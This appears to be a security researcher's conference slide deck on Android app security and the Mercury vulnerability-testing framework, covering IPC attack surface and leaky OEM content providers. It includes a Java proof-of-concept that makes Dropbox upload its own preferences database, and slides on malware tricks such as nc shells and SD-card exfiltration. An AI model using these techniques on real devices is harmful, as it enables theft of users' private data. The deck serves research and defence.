The heavy metal that poisoned the droid

Tyrone Erasmus
• Introduction
• Android Security Model
• Static vs. Dynamic analysis
• Mercury: New framework on the block
• Finding OEM problems
• Techniques for malware
• How do we fix this?
• Conclusion
/usr/bin/whoami

- Consultant @ MWR InfoSecurity
- My 25% time == Android research
- Interested in many areas of exploitation
Introduction

• Why android?
Security Model

• User-based permissions model
• Each app runs as separate UID
  • Differs from conventional computing
  • Except when shared UIDs are used
• App resource isolation
<table>
<thead>
<tr>
<th>USER</th>
<th>PID</th>
<th>PPID</th>
<th>VSIZE</th>
<th>RSS</th>
<th>WCHAN</th>
<th>PC</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>27</td>
<td>2</td>
<td>0</td>
<td>0</td>
<td>c019d16c</td>
<td>00000000</td>
<td>S mmcqd</td>
</tr>
<tr>
<td>system</td>
<td>28</td>
<td>1</td>
<td>804</td>
<td>276</td>
<td>c01a94a4</td>
<td>afd0b6fc</td>
<td>S /system/bin/servicemanager</td>
</tr>
<tr>
<td>root</td>
<td>29</td>
<td>1</td>
<td>3864</td>
<td>592</td>
<td>ffffffff</td>
<td>afd0bdc</td>
<td>S /system/bin/vold</td>
</tr>
<tr>
<td>root</td>
<td>30</td>
<td>1</td>
<td>3836</td>
<td>560</td>
<td>ffffffff</td>
<td>afd0bdc</td>
<td>S /system/bin/netd</td>
</tr>
<tr>
<td>root</td>
<td>31</td>
<td>1</td>
<td>664</td>
<td>264</td>
<td>c01b52b4</td>
<td>afd0c0c</td>
<td>S /system/bin/debuggerd</td>
</tr>
<tr>
<td>radio</td>
<td>32</td>
<td>1</td>
<td>5396</td>
<td>700</td>
<td>ffffffff</td>
<td>afd0bdc</td>
<td>S /system/bin/rild</td>
</tr>
<tr>
<td>root</td>
<td>33</td>
<td>1</td>
<td>74072</td>
<td>27132</td>
<td>c009b74c</td>
<td>afd0b844</td>
<td>S zygote</td>
</tr>
<tr>
<td>media</td>
<td>34</td>
<td>1</td>
<td>16972</td>
<td>3764</td>
<td>ffffffff</td>
<td>afd0b6fc</td>
<td>S /system/bin/mediaserver</td>
</tr>
<tr>
<td>root</td>
<td>35</td>
<td>1</td>
<td>812</td>
<td>316</td>
<td>c02181f4</td>
<td>afd0b45c</td>
<td>S /system/bin/installd</td>
</tr>
<tr>
<td>keystore</td>
<td>36</td>
<td>1</td>
<td>1744</td>
<td>432</td>
<td>c01b52b4</td>
<td>afd0c0c</td>
<td>S /system/bin/keystore</td>
</tr>
<tr>
<td>root</td>
<td>38</td>
<td>1</td>
<td>824</td>
<td>340</td>
<td>c00b8fec</td>
<td>afd0c51c</td>
<td>S /system/bin/qemud</td>
</tr>
<tr>
<td>shell</td>
<td>40</td>
<td>1</td>
<td>732</td>
<td>312</td>
<td>c0158eb0</td>
<td>afd0b45c</td>
<td>S /system/bin/sh</td>
</tr>
<tr>
<td>root</td>
<td>41</td>
<td>1</td>
<td>3360</td>
<td>164</td>
<td>ffffffff</td>
<td>00008294</td>
<td>S /sbin/adbd</td>
</tr>
<tr>
<td>system</td>
<td>61</td>
<td>33</td>
<td>141876</td>
<td>38476</td>
<td>ffffffff</td>
<td>afd0b6fc</td>
<td>S system_server</td>
</tr>
<tr>
<td>app_15</td>
<td>109</td>
<td>33</td>
<td>96184</td>
<td>31524</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.android.launcher</td>
</tr>
<tr>
<td>app_6</td>
<td>113</td>
<td>33</td>
<td>86969</td>
<td>22832</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S jp.co.omronsoft.openwnn</td>
</tr>
<tr>
<td>radio</td>
<td>118</td>
<td>33</td>
<td>99180</td>
<td>24440</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.android.phone</td>
</tr>
<tr>
<td>system</td>
<td>121</td>
<td>33</td>
<td>87656</td>
<td>25840</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.android.systemui</td>
</tr>
<tr>
<td>system</td>
<td>155</td>
<td>33</td>
<td>86660</td>
<td>21396</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.android.settings</td>
</tr>
<tr>
<td>app_8</td>
<td>177</td>
<td>33</td>
<td>87272</td>
<td>23816</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S android.process.acore</td>
</tr>
<tr>
<td>app_4</td>
<td>185</td>
<td>33</td>
<td>84008</td>
<td>21088</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.android.quicksearchbox</td>
</tr>
<tr>
<td>app_7</td>
<td>206</td>
<td>33</td>
<td>83516</td>
<td>20420</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.android.music</td>
</tr>
<tr>
<td>app_1</td>
<td>215</td>
<td>33</td>
<td>100872</td>
<td>24396</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.android.vending</td>
</tr>
<tr>
<td>app_21</td>
<td>229</td>
<td>33</td>
<td>84316</td>
<td>21536</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.android.deskclock</td>
</tr>
<tr>
<td>app_0</td>
<td>238</td>
<td>33</td>
<td>107244</td>
<td>25584</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.google.process.gapps</td>
</tr>
<tr>
<td>app_29</td>
<td>255</td>
<td>33</td>
<td>85972</td>
<td>22896</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.android.email</td>
</tr>
<tr>
<td>app_2</td>
<td>258</td>
<td>33</td>
<td>86552</td>
<td>22656</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S android.process.media</td>
</tr>
<tr>
<td>app_17</td>
<td>282</td>
<td>33</td>
<td>95604</td>
<td>21724</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.android.mms</td>
</tr>
<tr>
<td>app_35</td>
<td>304</td>
<td>33</td>
<td>83028</td>
<td>19356</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S berserker.android.appssshdroid</td>
</tr>
<tr>
<td>app_47</td>
<td>315</td>
<td>33</td>
<td>85368</td>
<td>20236</td>
<td>ffffffff</td>
<td>afd0c51c</td>
<td>S com.google.android.appsuploader</td>
</tr>
</tbody>
</table>
Security Model

Application 1
- shared_prefs
- files
- cache
- databases

Application 2
- shared_prefs
- files
- cache
- databases

UNIX permissions!
Security Model

- App manifest = all configuration + security parameters

```xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.android.market.licensing"
    android:versionCode="1"
    android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity android:name=".MainActivity"
            android:label="@string/app_name"
            android:configChanges="orientation|keyboardHidden">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

<!-- Devices >= 3 have version of Android Market that supports licensing. -->
<uses-sdk android:minSdkVersion="3" />

<!-- Required permission to check licensing. -->
<uses-permission android:name="com.android.vending.CHECK_LICENSE" />
```
Security Model

Memory corruption vulnerabilities:

• Native elements that can be overflowed
• Code execution:
  • In context of exploited app
  • With permissions of app
  • Want more privileges? YOU vs. KERNEL
Apps use Inter-Process Communication

- Defined communication over sandbox
- Exported IPC endpoints are defined in AndroidManifest.xml
IPC - Activities

- Visual element of an application

Alarm Clock

08:00
Mon, Tue, Wed, Thu, Fri

09:00
Sat, Sun
IPC – Services

- Background workers
- Provides no user interface
- Can perform long-running tasks
IPC – Broadcast Receivers

• Get notified of system and application events
• According to what has been registered
• android.permission.RECEIVE_SMS
IPC – Content Providers

- Data storehouse
- Often uses SQLite
- Methods that are based on SQL queries

```sql
sqlite> SELECT content FROM presentation WHERE internet_points > 10000;
Patience, my young Padawan. We will get there.
sqlite> .tables
android_metadata presentation
sqlite> 
```
IPC Summary

• All can be exported
  • Explicitly by exported=true
  • Implicitly by <intent-filter>

• Content Provider exported by default
  • Often overlooked by developers
What they all say

- **Permissions** and developer name

Hmmm...
Scary Contradictions

• Apps containing root exploits
• Browser vulnerabilities
• Cross-application exploitation
Cross-application exploitation

• What can 1 app do to another?
  • Completely unprivileged
• Malware implications
• Android-specific attack surface
Static analysis

Download apps
Decompile
Extract manifests
Examine attack vectors
Understand entry points
Write custom POCs
Static analysis

- Iterative
- Time consuming

MWR LABS

Create/Amend Code → Compile → Test → Analyse → Create/Amend Code
Why Dynamic analysis?

- Time-efficient
- Better coverage
- Re-usable modules
New tool - Mercury

- “The heavy metal that poisoned the droid”
- Developed by me 😊
Mercury...What is it?

- Platform for effective vulnerability hunting
- Collection of tools from single console
- Modular == easy expansion
- Automation
- Simplified interfacing with external tools
Mercury...Why does it exist!?

- Testing framework vs. custom scripts
- *INTERNET* permission – malware can do it too!
- Share POCs – community additions
Mercury...How does it work?

Client/Server model

- Low privileges on server app
- Intuitive client on pc
Mercury...Show me your skills

- Find package info
- Attack surface
- IPC info
- Interacting with IPC endpoints
- Shell
Interesting fact #1

ANY app can see verbose system info

- Installed apps
- Platform/device specifics
- Phone identity
Impact

Profile your device
• Get exploits for vulnerable apps
• Better targeting for root exploits
• Use this info track you

• Only Required permission: INTERNET
Interesting fact #2

• Any app with no permissions can read your SD card
• It is the law of the UNIXverse
Impact

- A malicious app can upload the contents of your SD card to the internet
  - Photos
  - Videos
  - Documents
  - Anything else interesting?

- Only Required permission: INTERNET
Debuggable apps

- More than 5% of Market apps
- Allow malicious apps to escalate privileges
- debuggable=true

```
android:debuggable(0x0101000f)=(type 0x12)0xffffffff
```

Open @jdwp-control socket
Mercury...So I can extend it?

- Remove custom-apps == Quick tests
- Create new tools
- Share exploit POCs on GitHub
- Some cool modules included already:
  - Device information
  - Netcat shell
  - Information pilfering OEM apps
Mercury...Dropbox example

- Custom exploit app
- No structure for debugging

```java
Uri dropbox_uri = Uri.parse("content://com.dropbox.android.Dropbox/metadata/");
ContentValues values = new ContentValues();
// This links the preferences database path to be uploaded
values.put("_data", "/data/data/com.dropbox.android/databases/prefs.db");
// Essential to initiate upload process
values.put("local_modified", 1);
// An invalid display name uses a logic flaw that stops the app from deleting the entry
values.put("_display_name", "");
values.put("is_favorite", 1);
values.put("revision", 0);
values.put("icon", "page_white_text");
values.put("is_dir", 0);
values.put("path", "/Public/prefs.db");
values.put("canon_path", "/public/prefs.db");
values.put("root", "dropbox");
values.put("mime_type", "text/xml");
values.put("thumb_exists", 0);
values.put("parent_path", "/Public/");
values.put("canon_parent_path", "/public/");
this.getContentResolver().update(dropbox_uri, values, null, null);
```
OEM apps

- Pre-installed apps often == vulnerabilities
- Many security researchers target these apps
OEM apps

Let's find some leaky content providers!

- Promise of:
  - Information pilfering glory
  - Rampant SQLi
  - No custom app development
Research findings

Leaks instant messages from:

- Google Talk
- Windows Live Messenger
- Yahoo! Messenger
Research findings

Leaks:

- Facebook
- MySpace
- Twitter
- LinkedIn
HTCloggers.apk allows any app with INTERNET

- ACCESS_COARSE_LOCATION
- ACCESS_FINE_LOCATION
- ACCESS_LOCATION_EXTRA_COMMANDS
- ACCESS_WIFI_STATE
- BATTERY_STATS
- DUMP
- GET_ACCOUNTS
- GET_PACKAGE_SIZE
- GET_TASKS
- READ_LOGS
- READ_SYNC_SETTINGS
- READ_SYNC_STATS
Research findings

Social Hub
com.seven.Z7.service

Leaks:

• Email address and password
• Email content
• IM & IM contacts
Research findings

Leaks:

- SMS using SQLi
- Credits to Mike Auty – MWR Labs
- Feels so 2000’s
OEM apps

Steps to win:

• Webkit vulnerability
• Browser has INSTALL_PACKAGES
• Exported recording service
• Bugging device 😊
Research findings

Leaks:

- SMS
- Emails
- IMs
- Social Networking messages
Research findings

Leaks:
- Portable Wi-Fi hotspot
- SSID
- WPA2 password
Research findings

• Have found more than 10 similar type vulnerabilities
• Across many OEM apps
Research findings - Impact

An app with 0 granted permissions can get:

- Email address and password
- Email contents
- SMS
- IM & IM contacts
- Social networking messages
- Call logs
- Notes
- Current city
- Portable Wi-Fi hotspot credentials
Why is this happening?

Manufacturers bypass OS features

• Lack of knowledge?
• Tight deadlines?
Malware deluxe

Building a user profile

• Installed package info
• Upload entire SD card
• Pilfer from leaky content providers
• Get device/platform info
Malware deluxe

Useful binaries for device/platform info
- toolbox
- dumpsys
- busybox

Promise of:
- Useful info
Malware deluxe

Dirty tricks
• Pipe a shell using nc
• Crash the logreaders

Promise of:
• Shells - everybody loves ‘em 😊
• Someone actually doing this 😞
Malware deluxe

Fresh exploits

• Installed apps + versions
• Download latest available exploits
• Exploit vulnerable apps for fun/profit
• Same goes for root exploits
Android the blabbermouth

Permissions required:
android.permission.INTERNET
Which would you install?

Do you want to install this application?

Allow this application to:

- **Your messages**
  - edit SMS or MMS, read SMS or MMS, receive SMS

- **Your personal information**
  - read contact data, write contact data

- **Network communication**
  - full Internet access

- **Storage**
  - modify/delete SD card contents

- **Services that cost you money**

Do you want to install this application?

Allow this application to:

- **Network communication**
  - full Internet access
How do developers fix this?

- Can’t help Android vulnerabilities
- Can make secure apps
- Stop information being stolen from your app
  - Check exposure with Mercury
Mercury – Future plans

• Testing ground for exploits of all kind
• Full exploitation suite?
return 0;

- Feedback forms
- Questions?